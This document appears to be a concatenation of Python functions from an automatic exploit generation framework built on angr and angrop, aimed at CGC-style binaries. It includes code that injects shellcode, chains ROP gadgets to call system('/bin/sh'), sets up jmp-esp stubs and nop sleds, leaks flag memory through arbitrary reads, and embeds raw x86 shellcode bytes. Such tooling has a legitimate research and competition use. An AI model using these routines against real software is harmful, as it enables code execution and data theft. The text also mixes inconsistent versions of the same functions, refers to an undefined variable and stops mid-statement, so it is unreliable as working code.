def apply(self, **kwargs): # can only exploit ip overwrites if not self.crash.one_of( [Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]): raise CannotExploit("[%s] cannot control ip" % self.name) if not self.crash.project.loader.main_object.execstack: raise CannotExploit("[%s] stack is not executable" % self.name) # try to write shellcode into global memory shellcode = self.shellcode.get_default(**kwargs) shc_addr, shc_constraint = self._write_global_data(shellcode) if shc_addr is None: try: shc_addr, shc_constraint = self._read_in_global_data(shellcode) except CannotExploit as e: raise CannotExploit("[%s] cannot call read, %s" % (self.name, e.message)) if shc_addr is None: raise CannotExploit("[%s] cannot write in shellcode" % self.name) # apply the constraint that shellcode must exist in memory self.crash.state.add_constraints(shc_constraint) # add the constraint that the ip must point at the shellcode self.crash.state.add_constraints(self.crash.state.ip == shc_addr) if not self.crash.state.satisfiable(): raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name) return Exploit(self.crash, bypasses_nx=False, bypasses_aslr=True)
def apply(self, **kwargs): # can only exploit ip overwrites if not self.crash.one_of( [Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]): raise CannotExploit("[%s] cannot control ip" % self.name) if not self.crash.project.loader.main_bin.execstack: raise CannotExploit("[%s] stack is not executable" % self.name) # try to write shellcode into global memory shc_addr = kwargs["hijack"] if shc_addr is None: raise CannotExploit( "[%s] Did not give me the addr to hijack ip, %s" % (self.name, e.message)) # add the constraint that the ip must point at the shellcode self.crash.state.add_constraints(self.crash.state.ip == shc_addr) if not self.crash.state.satisfiable(): raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name) return Exploit(self.crash, bypasses_nx=False, bypasses_aslr=True)
def apply(self, **kwargs): if self.rop is None: raise CannotExploit("no rop available") if not self.crash.one_of( [Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]): raise CannotExploit( "can only apply this technique to ip overwrite vulnerabilities" ) min_chain = None chosen_register = None value_var = claripy.BVS('register_value', self.crash.project.arch.bits, explicit_name=True) for register in RopSetRegister.cgc_registers: try: chain = self.rop.set_regs(**{register: value_var}) if min_chain is None or chain.payload_bv().size( ) < min_chain.payload_bv().size(): chosen_register = register min_chain = chain except angrop.errors.RopException: l.debug("no rop chains which set register %s", register) if min_chain is not None: return self.set_register(chosen_register, min_chain, value_var) raise CannotExploit("no register setting chains")
def set_register(self, register): """ :param register set a register with shellcode on cgc """ # can only exploit ip overwrites if not self.crash.one_of( [Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]): raise CannotExploit("[%s] cannot control ip" % self.name) state = self.crash.state if self._ip_bitcnt < CircumstantialSetRegister.bitmask_threshold: raise CannotExploit("not enough controlled bits of ip") # see if the register value is nearly unconstrained reg = getattr(state.regs, register) # we need to make sure that the pc and this register don't conflict conflict = not state.satisfiable( extra_constraints=(reg != state.regs.pc, )) if conflict: raise CannotExploit( "register %s conflicts with pc, pc and register must be equal" % register) # get the register's bitmask reg_bitmask, reg_bitcnt = self.get_bitmask_for_var(state, reg) if reg_bitcnt >= CircumstantialSetRegister.bitmask_threshold: if not any( [v.startswith('file_/dev/stdin') for v in reg.variables]): raise CannotExploit( "register %s was symbolic but was not tainted by user input" % register) l.info("can circumstantially set register %s", register) ccp = self.crash.copy() value_var = claripy.BVS('value_var', 32, explicit_name=True) ip_var = claripy.BVS('ip_var', 32, explicit_name=True) reg = getattr(ccp.state.regs, register) ccp.state.add_constraints(reg == value_var) ccp.state.add_constraints(ccp.state.regs.ip == ip_var) mem = [reg] + [ccp.state.regs.ip] return CGCType1CircumstantialExploit(ccp, register, reg_bitmask, self._ip_bitmask, mem, value_var, ip_var) else: raise CannotExploit( "register %s's value does not appear to be unconstrained" % register)
def set_register(self, register): ''' set a register with shellcode on cgc ''' # can only exploit ip overwrites if not self.crash.one_of( [Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]): raise CannotExploit("[%s] cannot control ip" % self.name) if not self.crash.project.loader.main_object.execstack: raise CannotExploit("[%s] stack is not executable" % self.name) value_var = claripy.BVS('value_var', 32, explicit_name=True) ip_var = claripy.BVS('ip_var', 32, explicit_name=True) shellcode = self.shellcode.get_shellcode('setregister', register=register, value=value_var, pc=ip_var) # _ip_overwrite_call_shellcode now attempts to insert a nop sled # as a result it returns two addresses, one address where the shellcode is # actually placed, and one address which actually points to where ip should go # (inside the nop sled, presumably) jump_addr, shellcode_addr = self._ip_overwrite_call_shellcode( shellcode, [value_var, ip_var]) ccp = self.crash.copy() ccp.state.add_constraints(ccp.state.regs.ip == jump_addr) # add nop sled if we were able to place one if jump_addr != shellcode_addr: nop_len = shellcode_addr - jump_addr sym_mem = ccp.state.memory.load(jump_addr, nop_len) nop_bvv = ccp.state.solver.BVV(b"\x90" * nop_len) ccp.state.add_constraints(sym_mem == nop_bvv) shc_sym_mem = ccp.state.memory.load(shellcode_addr, len(shellcode) // 8) ccp.state.add_constraints(shc_sym_mem == shellcode) # get bitmask reg_bitmask, reg_bitcnt = self.get_bitmask_for_var( ccp.state, value_var) ip_bitmask, ip_bitcnt = self.get_bitmask_for_var(ccp.state, ip_var) if reg_bitcnt > self.bitmask_threshold and ip_bitcnt > self.bitmask_threshold: return CGCType1ShellcodeExploit(ccp, register, reg_bitmask, ip_bitmask, shc_sym_mem, value_var, ip_var) raise CannotExploit( "not enough control over registers in shellcode once placed in memory" )
def apply(self, **kwargs): if self.rop is None: raise CannotExploit("no rop available") if not self.crash.one_of([Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]): raise CannotExploit("[%s] cannot control ip", self.name) state = self.crash.state need_control = ['eax', 'ebx', 'ecx', 'edx', 'esi'] rop_uncontrolled = [ ] # any one of these we can't control with rop? for register in need_control: try: self.rop.set_regs(**{register: 0x41414141}) except angrop.errors.RopException: l.debug("unable to set register %s with rop in leaker", register) rop_uncontrolled.append(register) constraints = self._get_circumstantial_constraints(state, rop_uncontrolled) if not state.satisfiable(extra_constraints=constraints): raise CannotExploit("circumstantial constraints generated were unsatisfactory for a rop leaker") address_var = claripy.BVS('address_var', self.crash.project.arch.bits, explicit_name=True) length_var = claripy.BVS('length_var', self.crash.project.arch.bits, explicit_name=True) chain = self.rop.do_syscall(2, [1, address_var, length_var, 0x0], ignore_registers=rop_uncontrolled) chain, chain_addr = self._ip_overwrite_with_chain(chain) ccp = self.crash.copy() # add the constraints introduced by rop ccp.state.solver.add(*chain._blank_state.solver.constraints) chain_bv = chain.payload_bv() ch_sym_mem = ccp.state.memory.load(chain_addr, len(chain_bv)//8) ccp.state.add_constraints(ch_sym_mem == chain_bv) # windup and add constraints new_st = self._windup_to_syscall(ccp.state) constraints = self._get_circumstantial_constraints(new_st, rop_uncontrolled) for con in constraints: new_st.add_constraints(con) ccp.state = new_st return CGCType2RopExploit(ccp, ch_sym_mem, address_var, length_var)
def get_bitmask_for_var(self, state, var): # filter vars with only one value if len(state.se.any_n_int(var, 2)) == 1: return 0, 0 # test each bit of the var unconstrained_bitmask = 0 unconstrained_bitcnt = 0 for bit in xrange(var.size()): l.debug("testing symbolic control of bit %d in var %s", bit, var) if len(state.se.any_n_int(var & 1 << bit, 2)) == 2: unconstrained_bitcnt += 1 unconstrained_bitmask |= (1 << bit) l.debug("unconstrained bitmask %#x", unconstrained_bitmask) # reduce the number of claimed bits unconstrained_bitmask = self.reduce_claimed_bitmask( unconstrained_bitmask, unconstrained_bitcnt) unconstrained_bitcnt = bin(unconstrained_bitmask).count("1") if not self.check_bitmask(state, var, unconstrained_bitmask): raise CannotExploit("computed bitmask does not appear to be valid") l.debug("reduced bitmask %#x", unconstrained_bitmask) return unconstrained_bitmask, unconstrained_bitcnt
def _explore_arbitrary_read(self, path_file=None): # crash type was an arbitrary-read, let's point the violating address at a # symbolic memory region largest_regions = sorted(self.symbolic_mem.items(), key=operator.itemgetter(1), reverse=True) min_read = self.state.se.min(self.violating_action.addr) max_read = self.state.se.max(self.violating_action.addr) largest_regions = map(operator.itemgetter(0), largest_regions) # filter addresses which fit between the min and max possible address largest_regions = filter(lambda x: (min_read <= x) and (x <= max_read), largest_regions) # populate the rest of the list with addresses from the binary min_addr = self.project.loader.main_object.min_addr max_addr = self.project.loader.main_object.max_addr pages = range(min_addr, max_addr, 0x1000) pages = filter(lambda x: (min_read <= x) and (x <= max_read), pages) read_addr = None constraint = None for addr in largest_regions + pages: read_addr = addr constraint = self.violating_action.addr == addr if self.state.se.satisfiable(extra_constraints=(constraint, )): break constraint = None if constraint is None: raise CannotExploit( "unable to find suitable read address, cannot explore") self.state.add_constraints(constraint) l.debug("constraining input to read from address %#x", read_addr) l.info( "starting a new crash exploration phase based off the crash at address 0x%x", self.violating_action.ins_addr) new_input = ChallRespInfo.atoi_dumps(self.state) if path_file is not None: l.info("dumping new crash evading input into file '%s'", path_file) with open(path_file, 'w') as f: f.write(new_input) # create a new crash object starting here use_rop = False if self.rop is None else True self.__init__(self.binary, new_input, explore_steps=self.explore_steps + 1, constrained_addrs=self.constrained_addrs + [self.violating_action], use_rop=use_rop, angrop_object=self.rop)
def _get_state_pointing_to_addr(state, violating_addr, goal_addr): if state.se.satisfiable(extra_constraints=(violating_addr == goal_addr,)): cp = state.copy() cp.add_constraints(violating_addr == goal_addr) return cp else: raise CannotExploit("unable to point arbitrary-read at the flag copy")
def __init__(self, crash, shellcode_opts=None, blacklist_techniques=None): ''' :param crash: an exploitable crash object :param shellcode_opts: options to pass to the ShellcodeFactory :param blacklist_techniques: a set of techniques to skip ''' if not crash.exploitable(): raise CannotExploit("crash cannot be exploited") self.crash = crash self.binary = crash.binary self.os = crash.project.loader.main_bin.os project = angr.Project(self.binary) # let's put together our rop gadgets self.rop = self.crash.rop # and let's gather some shellcode shellcode_opts = {} if shellcode_opts is None else shellcode_opts self.shellcode = ShellcodeFactory(project, **shellcode_opts) self.arsenal = {} self.blacklist_techniques = set( ) if blacklist_techniques is None else blacklist_techniques
def point_to_flag(self): ''' Create a testcase which points an arbitrary-read crash at the flag page. ''' if not self.one_of( [Vulnerability.ARBITRARY_READ, Vulnerability.ARBITRARY_TRANSMIT]): raise CannotExploit( "only arbitrary-reads can be exploited this way") violating_actions = [] if self.one_of([Vulnerability.ARBITRARY_READ]): if self.violating_action: violating_actions.append( (self.state, self.violating_action.addr)) zp = self.state.get_plugin('zen_plugin') if zp is not None: for st, addr in zp.controlled_transmits: self._tracer.remove_preconstraints( self.project.factory.path(st)) violating_actions.append((st, addr)) for st, va in violating_actions: try: cp = self._get_state_pointing_to_flag(st, va) self._reconstrain_flag_data(cp) yield ChallRespInfo.atoi_dumps(cp) except CannotExploit: l.warning("crash couldn't be pointed at flag skipping") pass # look for contiguous flag bytes of length 4 or longer and try to leak only one max_tries = 20 num_tries = 0 for start, length in self.flag_mem.items(): if length < 4: continue data = self.state.memory.load(start, length) four_flag_offset = self._four_flag_bytes_offset(data) if four_flag_offset is not None: leak_addr = start + four_flag_offset l.debug("found flag at addr %#x", leak_addr) for st, va in violating_actions: if num_tries > max_tries: l.warning("passed the maximum number of tries") break num_tries += 1 try: cp = self._get_state_pointing_to_addr( st, va, leak_addr) self._reconstrain_flag_data(cp) l.debug("pointed successfully") yield ChallRespInfo.atoi_dumps(cp) # okay we got one we are done return except CannotExploit: l.warning("crash couldn't be pointed at flag skipping") pass
def _explore_arbitrary_write(self, path_file=None): # crash type was an arbitrary-write, this routine doesn't care about taking advantage # of the write it just wants to try to find a more valuable crash by pointing the write # at some writable memory # find a writable data segment elf_objects = self.project.loader.all_elf_objects assert len(elf_objects ) > 0, "target binary is not ELF or CGC, unsupported by rex" min_write = self.state.se.min(self.violating_action.addr) max_write = self.state.se.max(self.violating_action.addr) segs = [] for eobj in elf_objects: segs.extend(filter(lambda s: s.is_writable, eobj.segments)) segs = filter( lambda s: (s.min_addr <= max_write) and (s.max_addr >= min_write), segs) write_addr = None constraint = None for seg in segs: for page in range(seg.min_addr, seg.max_addr, 0x1000): write_addr = page constraint = self.violating_action.addr == page if self.state.se.satisfiable(extra_constraints=(constraint, )): break constraint = None if constraint is None: raise CannotExploit("Cannot point write at any writeable segments") self.state.add_constraints(constraint) l.debug("constraining input to write to address %#x", write_addr) l.info( "starting a new crash exploration phase based off the crash at address %#x", self.violating_action.ins_addr) new_input = ChallRespInfo.atoi_dumps(self.state) if path_file is not None: l.info("dumping new crash evading input into file '%s'", path_file) with open(path_file, 'w') as f: f.write(new_input) use_rop = False if self.rop is None else True self.__init__(self.binary, new_input, explore_steps=self.explore_steps + 1, constrained_addrs=self.constrained_addrs + [self.violating_action], use_rop=use_rop, angrop_object=self.rop)
def apply(self, **kwargs): ''' set a register with shellcode on cgc ''' # can only exploit ip overwrites if not self.crash.one_of( [Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]): raise CannotExploit("[%s] cannot control ip" % self.name) if not self.crash.project.loader.main_object.execstack: raise CannotExploit("[%s] stack is not executable" % self.name) # try to write shellcode into global memory address_var = claripy.BVS('address_var', 32, explicit_name=True) length_var = claripy.BVS('length_var', 32, explicit_name=True) self.crash.state.add_constraints(address_var >= 0x4347c000) self.crash.state.add_constraints(address_var < 0x4347d000) self.crash.state.add_constraints(length_var >= 4) shellcode = self.shellcode.get_shellcode('leakaddress', address=address_var, length=length_var) jump_addr, shellcode_addr = self._ip_overwrite_call_shellcode( shellcode) ccp = self.crash.copy() ccp.state.add_constraints(ccp.state.regs.ip == jump_addr) # add nop sled if we were able to place one if jump_addr != shellcode_addr: nop_len = shellcode_addr - jump_addr sym_mem = ccp.state.memory.load(jump_addr, nop_len) nop_bvv = ccp.state.solver.BVV(b"\x90" * nop_len) ccp.state.add_constraints(sym_mem == nop_bvv) shc_sym_mem = ccp.state.memory.load(shellcode_addr, len(shellcode) // 8) ccp.state.add_constraints(shc_sym_mem == shellcode) return CGCType2ShellcodeExploit(ccp, shc_sym_mem, address_var, length_var)
def _windup_to_syscall(self, state): ''' windup state to a state just about to make a syscall ''' if self._at_syscall(state): return state successors = self.crash.project.factory.successors(state) if len(successors.flat_successors) > 0: return self._windup_to_syscall(successors.flat_successors[0]) raise CannotExploit("unable to reach syscall instruction")
def apply(self, **kwargs): # try to write 'jmp sp' into global memory try: jmpsp_stub = self.shellcode.get_shellcode('jmpsp') except NoSuchShellcode as e: raise CannotExploit("[%s] %s" % (self.name, e)) jmpsp_addr, jmpsp_constraint = self._write_global_data(jmpsp_stub) if jmpsp_addr is None: try: jmpsp_addr, jmpsp_constraint = self._read_in_global_data( jmpsp_stub) except CannotExploit as e: raise CannotExploit("[%s] cannot call read, %s" % (self.name, e)) if jmpsp_addr is None: raise CannotExploit("[%s] cannot write in 'jmp sp'" % self.name) # apply the constraint that 'jmp sp' must exist in memory self.crash.state.add_constraints(jmpsp_constraint) # add the constraint that the ip must point at the 'jmp sp' stub self.crash.state.add_constraints(self.crash.state.ip == jmpsp_addr) # add the constraint that our shellcode must exist at sp shellcode = self.crash.state.solver.BVV(self.shellcode.get_default()) stack_mem = self.crash.state.memory.load(self.crash.state.regs.sp, len(shellcode) // 8) self.crash.state.add_constraints(stack_mem == shellcode) if not self.crash.state.satisfiable(): raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name) return Exploit(self.crash, bypasses_nx=False, bypasses_aslr=True)
def apply(self, **kwargs): if self.rop is None: raise CannotExploit("no rop available") # can only exploit ip overwrites if not self.crash.one_of([Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]): raise CannotExploit("[%s] cannot control ip" % self.name) # find the address of system system_addr = self._find_func_address("system") if system_addr is None: raise CannotExploit("[%s] the function system could not be found in the binary" % self.name) # write out "/bin/sh\x00" target_str = b'/bin/sh\0' cmd_addr, cmd_constraint = self._write_global_data(target_str) if cmd_addr is None: try: cmd_addr, cmd_constraint = self._read_in_global_data(target_str) except CannotExploit as e: raise CannotExploit("[%s] cannot call read, %s" % (self.name, e)) if cmd_addr is None: raise CannotExploit("[%s] cannot write in /bin/sh" % self.name) # craft the caller chain try: chain = self.rop.func_call(system_addr, [cmd_addr]) except RopException: raise CannotExploit("[%s] cannot craft caller chain" % self.name) # apply the constraint that /bin/sh must exist in the binary self.crash.state.add_constraints(cmd_constraint) # insert the chain into the binary try: chain, chain_addr = self._ip_overwrite_with_chain(chain, self.crash.state) except CannotExploit: raise CannotExploit("[%s] unable to insert chain" % self.name) # add the constraint to the state that the chain must exist at the address chain_mem = self.crash.state.memory.load(chain_addr, chain.payload_len) self.crash.state.add_constraints(chain_mem == self.crash.state.solver.BVV(chain.payload_str())) if not self.crash.state.satisfiable(): raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name) return Exploit(self.crash, bypasses_nx=True, bypasses_aslr=True)
def apply(self, **kwargs): ''' set a register with shellcode on cgc ''' # can only exploit ip overwrites if not self.crash.one_of([Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]): raise CannotExploit("[%s] cannot control ip" % self.name) if not self.crash.project.loader.main_bin.execstack: raise CannotExploit("[%s] stack is not executable" % self.name) # try to write shellcode into global memory exploitReadShellCode_start = "\xeb\x03\x59\xeb\x0e\xe8\xf8\xff\xff\xff\x5b\x52\x65\x73\x75\x6c\x74\x5d\x3a\x31\xc0\x83\xc0\x04\x31\xdb\x43\x89\xc2\x83\xc2\x05\xcd\x80\x31\xc0\x83\xc0\x04\x31\xdb\x43\xb9" exploitReadShellCode_end = "\x89\xc2\xcd\x80\xc3" target_Addr = kwargs['read_addr'] shellcode = exploitReadShellCode_start + target_Addr +exploitReadShellCode_end shc_addr, shc_constraint = self._write_global_data(shellcode) if shc_addr is None: try: shc_addr, shc_constraint = self._read_in_global_data(shellcode) except CannotExploit as e: raise CannotExploit("[%s] cannot call read, %s" % (self.name, e.message)) if shc_addr is None: raise CannotExploit("[%s] cannot write in shellcode" % self.name) # apply the constraint that shellcode must exist in memory self.crash.state.add_constraints(shc_constraint) # add the constraint that the ip must point at the shellcode self.crash.state.add_constraints(self.crash.state.ip == shc_addr) if not self.crash.state.satisfiable(): raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name) return Exploit(self.crash, bypasses_nx=False, bypasses_aslr=True)
def _windup_to_syscall(self, state): ''' windup state to a state just about to make a syscall ''' p = self.crash.project.factory.path(state=state) successors = p.step() if self._at_syscall(p): return p.state if len(successors) > 0: return self._windup_to_syscall(successors[0].state) raise CannotExploit("unable to reach syscall instruction")
def _prepare_exploit_factory(self, blacklist_symbolic_explore=True, **kwargs): # crash should have been classified at this point if not self.exploitable(): raise CannotExploit("non-exploitable crash") if blacklist_symbolic_explore: if "blacklist_techniques" in kwargs: kwargs["blacklist_techniques"].add("explore_for_exploit") else: kwargs["blacklist_techniques"] = {"explore_for_exploit"} if self.os == 'cgc': exploit = CGCExploitFactory(self, **kwargs) else: exploit = ExploitFactory(self, **kwargs) return exploit
def apply(self, **kwargs): min_chain = None chosen_register = None value_var = claripy.BVV(0xc0debabe, self.crash.project.arch.bits) for register in self.target_registers: try: chain = self.rop.set_regs(**{register: value_var}) if min_chain is None or chain.payload_bv().size() < min_chain.payload_bv().size(): chosen_register = register min_chain = chain except angrop.errors.RopException: l.debug("no rop chains which set register %s", register) if min_chain is not None: return self.set_register(chosen_register, min_chain, value_var) raise CannotExploit("no register setting chains")
def _get_state_pointing_to_flag(state, violating_addr): cgc_magic_page_addr = 0x4347c000 # see if we can point randomly inside the flag (prevent people filtering exactly 0x4347c000) rand_addr = random.randint(cgc_magic_page_addr, cgc_magic_page_addr+0x1000-4) if state.se.satisfiable(extra_constraints=(violating_addr == rand_addr,)): cp = state.copy() cp.add_constraints(violating_addr == rand_addr) return cp # see if we can point anywhere at flag if state.se.satisfiable(extra_constraints= (violating_addr >= cgc_magic_page_addr, violating_addr < cgc_magic_page_addr+0x1000-4)): cp = state.copy() cp.add_constraints(violating_addr >= cgc_magic_page_addr) cp.add_constraints(violating_addr < cgc_magic_page_addr+0x1000-4) return cp else: raise CannotExploit("unable to point arbitrary-read at the flag page")
def __init__(self, crash, shellcode_opts=None, blacklist_techniques=None, hijack=None, read_addr=None, write_addr=None, write_value=None, pov_dir=None): ''' :param crash: an exploitable crash object :param shellcode_opts: options to pass to the ShellcodeFactory :param blacklist_techniques: a set of techniques to skip ''' if not crash.exploitable(): raise CannotExploit("crash cannot be exploited") self.crash = crash self.nameIndex = 0 self.binary = crash.binary self.os = crash.project.loader.main_bin.os project = angr.Project(self.binary) # let's put together our rop gadgets self.rop = self.crash.rop shellcode_opts = {} if shellcode_opts is None else shellcode_opts self.shellcode = ShellcodeFactory(project, **shellcode_opts) self.arsenal = {} self.blacklist_techniques = set( ) if blacklist_techniques is None else blacklist_techniques self.hijack_addr = None if hijack is None else hijack self.read_addr = None if read_addr is None else read_addr self.write_addr = None if write_addr is None else write_addr self.write_value = None if write_value is None else write_value self.pov_dir = None if pov_dir is None else pov_dir
def set_register(self, register, chain, value_var): #pylint:disable=arguments-differ ip_var = claripy.BVS('ip_value', self.crash.project.arch.bits, explicit_name=True) chain, chain_addr = self._ip_overwrite_with_chain( chain, assert_next_ip_controlled=True) l.debug("attempting to insert chain of length %d", len(chain.payload_str())) ccp = self.crash.copy() # add the constraints introduced by rop cons = [ a for a in chain._blank_state.solver.constraints if not any(v.startswith("next_addr") for v in a.variables) ] ccp.state.solver.add(*cons) chain.add_value(ip_var) chain_bv = chain.payload_bv() ch_sym_mem = ccp.state.memory.load(chain_addr, len(chain_bv) // 8) ccp.state.add_constraints(ch_sym_mem == chain_bv) reg_bitmask, reg_bitcnt = self.get_bitmask_for_var( ccp.state, value_var) ip_bitmask, ip_bitcnt = self.get_bitmask_for_var(ccp.state, ip_var) if reg_bitcnt > self.bitmask_threshold and ip_bitcnt > self.bitmask_threshold: return CGCType1RopExploit(ccp, register, reg_bitmask, ip_bitmask, ch_sym_mem, value_var, ip_var) raise CannotExploit( "not enough control over registers in rop chain once placed in memory" )
def apply(self, **kwargs): # can only exploit ip overwrites if not self.crash.one_of( [Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]): raise CannotExploit("[%s] cannot control ip" % self.name) if not self.crash.project.loader.main_bin.execstack: raise CannotExploit("[%s] stack is not executable" % self.name) # try to write 'jmp sp' into global memory try: jmpsp_stub = self.shellcode.get_shellcode('jmpsp') except NoSuchShellcode as e: raise CannotExploit("[%s] %s" % (self.name, e.message)) jmpsp_addr, jmpsp_constraint = self._write_global_data(jmpsp_stub) if jmpsp_addr is None: try: jmpsp_addr, jmpsp_constraint = self._read_in_global_data( jmpsp_stub) except CannotExploit as e: raise CannotExploit("[%s] cannot call read, %s" % (self.name, e.message)) if jmpsp_addr is None: raise CannotExploit("[%s] cannot write in 'jmp sp'" % self.name) # apply the constraint that 'jmp sp' must exist in memory self.crash.state.add_constraints(jmpsp_constraint) # add the constraint that the ip must point at the 'jmp sp' stub self.crash.state.add_constraints(self.crash.state.ip == jmpsp_addr) # add the constraint that our shellcode must exist at sp shellcode = self.crash.state.se.BVV( self.shellcode.get_default(**kwargs)) stack_mem = self.crash.state.memory.load(self.crash.state.regs.sp, len(shellcode) / 8) self.crash.state.add_constraints(stack_mem == shellcode) if not self.crash.state.satisfiable(): raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name) return Exploit(self.crash, bypasses_nx=False, bypasses_aslr=True)
def __init__(self, binary, crash=None, pov_file=None, aslr=None, constrained_addrs=None, crash_state=None, prev_path=None, hooks=None, format_infos=None, rop_cache_tuple=None, use_rop=True, explore_steps=0, angrop_object=None): ''' :param binary: path to the binary which crashed :param crash: string of input which crashed the binary :param pov_file: CGC PoV describing a crash :param aslr: analyze the crash with aslr on or off :param constrained_addrs: list of addrs which have been constrained during exploration :param crash_state: an already traced crash state :param prev_path: path leading up to the crashing block :param hooks: dictionary of simprocedure hooks, addresses to simprocedures :param format_infos: a list of atoi FormatInfo objects that should be used when analyzing the crash :param rop_cache_tuple: a angrop tuple to load from :param use_rop: whether or not to use rop :param explore_steps: number of steps which have already been explored, should only set by exploration methods :param angrop_object: an angrop object, should only be set by exploration methods ''' self.binary = binary self.crash = crash self.pov_file = pov_file self.constrained_addrs = [] if constrained_addrs is None else constrained_addrs self.hooks = hooks self.explore_steps = explore_steps if self.explore_steps > 10: raise CannotExploit( "Too many steps taken during crash exploration") self.project = angr.Project(binary) # we search for ROP gadgets now to avoid the memory exhaustion bug in pypy # hash binary contents for rop cache name binhash = hashlib.md5(open(self.binary).read()).hexdigest() rop_cache_path = os.path.join( "/tmp", "%s-%s-rop" % (os.path.basename(self.binary), binhash)) if use_rop: if angrop_object is not None: self.rop = angrop_object else: self.rop = self.project.analyses.ROP() if rop_cache_tuple is not None: l.info("loading rop gadgets from cache tuple") self.rop._load_cache_tuple(rop_cache_tuple) elif os.path.exists(rop_cache_path): l.info("loading rop gadgets from cache '%s'", rop_cache_path) self.rop.load_gadgets(rop_cache_path) else: self.rop.find_gadgets(show_progress=False) self.rop.save_gadgets(rop_cache_path) else: self.rop = None self.os = self.project.loader.main_object.os # determine the aslr of a given os and arch if aslr is None: if self.os == "cgc": # cgc has no ASLR, but we don't assume a stackbase self.aslr = False else: # we assume linux is going to enfore stackbased aslr self.aslr = True else: self.aslr = aslr if crash_state is None: # run the tracer, grabbing the crash state remove_options = { so.TRACK_REGISTER_ACTIONS, so.TRACK_TMP_ACTIONS, so.TRACK_JMP_ACTIONS, so.ACTION_DEPS, so.TRACK_CONSTRAINT_ACTIONS, so.LAZY_SOLVES } add_options = { so.MEMORY_SYMBOLIC_BYTES_MAP, so.TRACK_ACTION_HISTORY, so.CONCRETIZE_SYMBOLIC_WRITE_SIZES, so.CONCRETIZE_SYMBOLIC_FILE_READ_SIZES } # faster place to check for non-crashing inputs # optimized crash check if self.project.loader.main_object.os == 'cgc': if not tracer.Runner(binary, input=self.crash).crash_mode: if not tracer.Runner(binary, input=self.crash, report_bad_args=True).crash_mode: l.warning("input did not cause a crash") raise NonCrashingInput self._tracer = tracer.Tracer(binary, input=self.crash, pov_file=self.pov_file, resiliency=False, hooks=self.hooks, add_options=add_options, remove_options=remove_options, keep_predecessors=2) ChallRespInfo.prep_tracer(self._tracer, format_infos) ZenPlugin.prep_tracer(self._tracer) prev, crash_state = self._tracer.run(constrained_addrs) # if there was no crash we'll have to use the previous path's state if crash_state is None: self.state = prev else: # the state at crash time self.state = crash_state zp = self.state.get_plugin('zen_plugin') if crash_state is None and (zp is not None and len(zp.controlled_transmits) == 0): l.warning("input did not cause a crash") raise NonCrashingInput l.debug("done tracing input") # a path leading up to the crashing basic block self.prev = prev else: self.state = crash_state self.prev = prev_path self._tracer = None # list of actions added during exploitation, probably better object for this attribute to belong to self.added_actions = [] # hacky trick to get all bytes #memory_writes = [ ] #for var in self.state.memory.mem._name_mapping.keys(): # memory_writes.extend(self.state.memory.addrs_for_name(var)) memory_writes = sorted(self.state.memory.mem.get_symbolic_addrs()) l.debug("filtering writes") memory_writes = [m for m in memory_writes if m / 0x1000 != 0x4347c] user_writes = [ m for m in memory_writes if any( "stdin" in v for v in self.state.memory.load(m, 1).variables) ] flag_writes = [ m for m in memory_writes if any( v.startswith("cgc-flag") for v in self.state.memory.load(m, 1).variables) ] l.debug("done filtering writes") self.symbolic_mem = self._segment(user_writes) self.flag_mem = self._segment(flag_writes) # crash type self.crash_types = [] # action (in case of a bad write or read) which caused the crash self.violating_action = None l.debug("triaging crash") self._triage_crash()
def apply(self, **kwargs): # can only exploit ip overwrites if not self.crash.one_of([Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]): raise CannotExploit("[%s] cannot control ip" % self.name) if not self.crash.project.loader.main_bin.execstack: raise CannotExploit("[%s] stack is not executable" % self.name) read_addr = kwargs['read_addr'] """ Shellcode from S2E """ exploitReadShellCode_start = "\xeb\x03\x59\xeb\x0e\xe8\xf8\xff\xff\xff\x5b\x52\x65\x73\x75\x6c\x74\x5d\x3a\x31\xc0\x83\xc0\x04\x31\xdb\x43\x89\xc2\x83\xc2\x05\xcd\x80\x31\xc0\x83\xc0\x04\x31\xdb\x43\xb9" exploitReadShellCode_end = "\x89\xc2\xcd\x80\xc3" ReadShellCode_real_len = 0x34 shellcode_read = exploitReadShellCode_start + struct.pack('I',int(read_addr,16)) + exploitReadShellCode_end read_shellcode_len = len(shellcode_read) exploitWriteShellCode_one = "\xbb" # + exploitWriteShellCodeAddr exploitWriteShellCode_two = "\xc7\x03" # + exploitWriteShellCodeValue WriteShellCode_three = "\xc3" exploitWriteShellCode_real_len = 0xc nop_asm = '\x90' # use pwntool find jmp esp try: binary = ELF(self.crash.project.filename) jmp_esp = asm('jmp esp') jmp_esp_addr = binary.search(jmp_esp).next() if jmp_esp_addr is not None: pass else: # if there's no jmp esp, then exit exit(0) except: # we are in a thread, just exit, it's fine exit(0) glob_control = self._global_control() largest_regions = sorted(glob_control.items(),key=operator.itemgetter(1),reverse=True) for region in largest_regions: if region[0] > self.crash.state.se.any_int(self.crash.state.regs.esp): #controled region is under esp! if region[0] == self.crash.state.se.any_int(self.crash.state.regs.esp) + 4:#controled region is start at esp + 4 if region[1] > read_shellcode_len: #region can contain shellcode,then we will choose `jmp esp` way! self.crash.state.add_constraints(self.crash.state.ip == jmp_esp_addr) # add the constraint that the ip must point at the 'jmp sp' stub free_space = region[1] - read_shellcode_len shellcode_read = nop_asm * (free_space-1) + shellcode_read read_shellcode_len = len(shellcode_read) shc_constraint = self.crash.state.memory.load(region[0], read_shellcode_len) == self.crash.state.se.BVV(shellcode_read) if self.crash.state.se.satisfiable(extra_constraints=(shc_constraint,)): self.crash.state.add_constraints(shc_constraint) if not 